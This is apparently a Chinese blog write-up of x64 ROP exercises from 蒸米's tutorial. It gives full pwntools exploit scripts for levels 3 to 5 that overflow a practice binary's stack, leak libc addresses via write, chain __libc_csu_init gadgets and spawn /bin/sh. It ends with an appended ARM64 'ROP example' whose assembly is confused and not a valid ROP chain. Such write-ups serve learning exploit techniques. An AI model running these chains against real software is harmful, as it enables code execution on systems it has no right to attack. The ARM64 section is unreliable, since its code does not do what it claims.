蒸米ROP_X64学习总结

X86与X64

x86中参数都是存在栈上,但在x64中的前六个参数依次存在RDI,RSI,RDX,RCX,R8、R9中,如果还有更多的参数的话才会存在栈上

level3(ROP简单绕过NX)

Snipaste_2021-10-09_14-33-52

发现有栈溢出

找到system(/bin/sh)

请添加图片描述

把这个函数写入栈中就ok了 exp如下

#!/usr/bin/env python3
from pwn import *

p = process("./level3")

payload = b"a" * 136 + p64(0x0000000000400584)

p.sendline(payload)
p.interactive()

level4(ROPgadget寻找gadgets)

请添加图片描述

发现它会把system的地址发送出来,这样就可以求偏移offset,就可以得到binsh_addr字符串的真实地址,但因为x64前6个参数是存在寄存器中的,所以我们需要gadgets(pop ret这样的)来实现64位下ROP

可以用objdump去寻找,也可以用ROPgadget去找

我这题用的ROPgadget,输入如下命令

ROPgadget --binary level4 --only "pop|ret" | grep rdi

请添加图片描述

不过好像没找到需要的

但我们可以去调用的libc.so文件里面去找,老样子,先拷贝到桌面

ldd level4
sudo cp /lib/x86_64-linux-gnu/libc.so.6 libc.so

然后去找

Snipaste_2021-10-09_14-56-52

不过命令最好后面加上grep rdi,不然找出来一大堆,不好拿

exp如下

from pwn import *

libc = ELF('libc.so')

p = process('./level4')


pop_call_libc = 0x000000000012228f

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str, 16)
offset = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search(b"/bin/sh")) + offset

pop_ret_addr = pop_call_libc + offset

p.recv()

payload = b"a"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

pop rdi ret 可以先把binsh_addrpop进rdi当第一个参数,然后ret调用system_addr,就完成了ROP的构造

level5(通用gadgets)

Snipaste_2021-10-09_15-11-23

这次啥也没有,就一个栈溢出,system()或其地址的辅助函数也全删掉了

但是有一个write函数,可以进行地址泄露,老套路了,前面都写过,不多写了,可以利用内存信息的泄露得到system函数的地址,然后把binsh写进bss段,老套路了也是

但X64下的传参是一个大问题,write一共三个参数要怎么传呢

第一次调用write来泄露地址,参数应该是这样write(rdi=1, rsi=write.got, rdx=4),把地址泄露出来,所以我们要去找对应的gadgets

但有时候ROPgadget并没有类似pop rdi, ret,pop rsi, ret…的gadgets

那这时候我们可以考虑一下x64下万能的gadgets

用指令objdump -d ./level5观察一波

一般情况,只要程序调用了libc.so,程序都会用__libc_csu_init()来对libc进行初始化操作

请添加图片描述

0x400606地址处的代码可以控制rbx,rbp,r12,r13,r14和r15的值,然后再利用0x4005f0处的代码,可以把r15的值给rdx, r14的值给rsi,r13的值给edi,然后call [r12+rbx*8],如果此时rbx为0,那么就相当于call r12,然后我们如果把rbx设为0,rbp的值设为1,rbx加1之后也是1,两个值相等,那么就不会跳转,然后继续执行到0x400628的ret处返回地址,我们把ret那里设置成main就ok

  • payload1(用write泄露地址)

我们先构造payload1,利用write(1,write_got,8)输出write在内存中的地址。注意我们的gadget是call r12,所以我们应该使用write.got而不是write.plt。并且为了返回到原程序中,应该重复利用栈溢出的漏洞,我们应该继续覆盖栈,让ret那里为main的地址

payload1 = b"\x00"*136
#rbx = 0
#rbp = 1
#r12 = write_got
#1 = rdi=  edi = r13, write.got = rsi = r14, 8 = rdx = r15 
#write(rdi=1, rsi=write.got, rdx=8)
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4005F0)
payload1 += b"\x00"*56
payload1 += p64(main)

因为末尾是一个add rsp,0x38 = 57,所以应该往里传7个,所以前面多个p64(0)

p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)

构造好payload1,就可以计算出system函数的真实地址

  • payload2(用read读取地址)

同理

#rbx = 0
#rbp = 1
#r12 = read_got
#0 = rdi=  edi = r13, write.got = rsi = r14, 8 = rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = b"\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += b"\x00"*56
payload2 += p64(main)

构造好payload2就可以利用read去读取system()的地址以及binsh的地址

  • payload3(调用system函数)

最后构造payload3,调用system()函数执行binsh。注意,system()的地址保存在了bss段首地址上,binsh_addr保存在了bss段首地址+8的位置

#r12 = bss_addr
#bss_addr+8 = rdi =  edi = r13, 0 = rsi = r14, 0 = rdx = r15
#system(rdi=bss_addr+8=binsh)
payload3 = b"\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)#函数system已经执行完,下面两行有没有都行
# payload3 += b"\x00"*56
# payload3 += p64(main)

最终exp如下

#!/usr/bin/env python3
from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')

write_libc = libc.symbols['write']
write_got = elf.got['write']
read_got = elf.got['read']


main = 0x0400564

payload1 = b"\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(0x4005F0)
payload1 += b"\x00"*56
payload1 += p64(main)

p.recvuntil(b"Hello, World\n")


p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
offset = write_addr - libc.symbols['write']
system_addr = libc.symbols['system'] + offset


bss_addr = 0x601028

p.recvuntil(b"Hello, World\n")


payload2 = b"\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += b"\x00"*56
payload2 += p64(main)

p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send(b"/bin/sh\0")
sleep(1)

p.recvuntil(b"Hello, World\n")


payload3 = b"\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)#函数system已经执行完,下面两行有没有都行
# payload3 += b"\x00"*56
# payload3 += p64(main)



sleep(1)
p.send(payload3)

p.interactive()
ROP(Return-Oriented Programming)是一种利用程序的现有代码块(即gadget)来构造攻击代码的技术。在ARM64架构下,ROP攻击同样适用。 以下是一个ARM64的ROP示例,假设要利用一个漏洞,攻击一个运行在ARM64架构的程序: ```assembly .text main: // 在此处发现了漏洞,可以通过覆盖函数返回地址实现ROP攻击 // ... ret // 恢复到原返回地址 // 假设目标程序中存在以下代码段: // 0x0000000000401020: mov x0, #0x1 ; ret // 0x0000000000401028: mov x1, #0x2 ; ret // 0x0000000000401030: mov x2, #0x3 ; ret // 0x0000000000401038: mov x3, #0x4 ; ret // 0x0000000000401040: blr x5 // ... // 假设我们想执行 mov x0, #0x1 ; mov x1, #0x2 ; mov x2, #0x3 ; mov x3, #0x4 ; blr x5 这条指令序列 // 首先需要找到这些指令的地址(即gadget) mov_x0: mov x0, #0x1 ; ret mov_x1: mov x1, #0x2 ; ret mov_x2: mov x2, #0x3 ; ret mov_x3: mov x3, #0x4 ; ret call_x5: blr x5 ; ret // 构造ROP链 pop_x0_x1_x2_x3: // 用于将x0, x1, x2, x3设置为指定值的gadget ldp x0, x1, [sp, #16] ; ldp x2, x3, [sp, #32] ; ret // 构造ROP链,依次调用mov_x0, mov_x1, mov_x2, mov_x3, call_x5 // 注意:x0, x1, x2, x3的值需要在调用pop_x0_x1_x2_x3之前先压入堆栈中 // 然后通过pop_x0_x1_x2_x3将这些值加载到寄存器中,再依次调用mov_x0, mov_x1, mov_x2, mov_x3, call_x5 rop_chain: // 设置x0, x1, x2, x3的值 // x0 = 0x1 // x1 = 0x2 // x2 = 0x3 // x3 = 0x4 // 先将这些值压入堆栈中 mov x0, #0x1 ; str x0, [sp, #16] mov x1, #0x2 ; str x1, [sp, #24] mov x2, #0x3 ; str x2, [sp, #32] mov x3, #0x4 ; str x3, [sp, #40] // 调用pop_x0_x1_x2_x3,将x0, x1, x2, x3加载到寄存器中 // 该gadget的返回地址是rop_chain + 56,即pop_x0_x1_x2_x3之后的位置 br pop_x0_x1_x2_x3 // 调用mov_x0,将x0设置为0x1 // 该gadget的返回地址是rop_chain + 64,即mov_x0之后的位置 br mov_x0 // 调用mov_x1,将x1设置为0x2 // 该gadget的返回地址是rop_chain + 72,即mov_x1之后的位置 br mov_x1 // 调用mov_x2,将x2设置为0x3 // 该gadget的返回地址是rop_chain + 80,即mov_x2之后的位置 br mov_x2 // 调用mov_x3,将x3设置为0x4 // 该gadget的返回地址是rop_chain + 88,即mov_x3之后的位置 br mov_x3 // 调用call_x5,执行 blr x5 // 该gadget的返回地址是rop_chain + 96,即call_x5之后的位置 br call_x5 ``` 这是一个简单的ARM64 ROP示例,目的是将x0, x1, x2, x3设置为指定值,然后执行bl x5。实际中,ROP攻击可能会更加复杂,需要根据具体情况构造ROP链。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值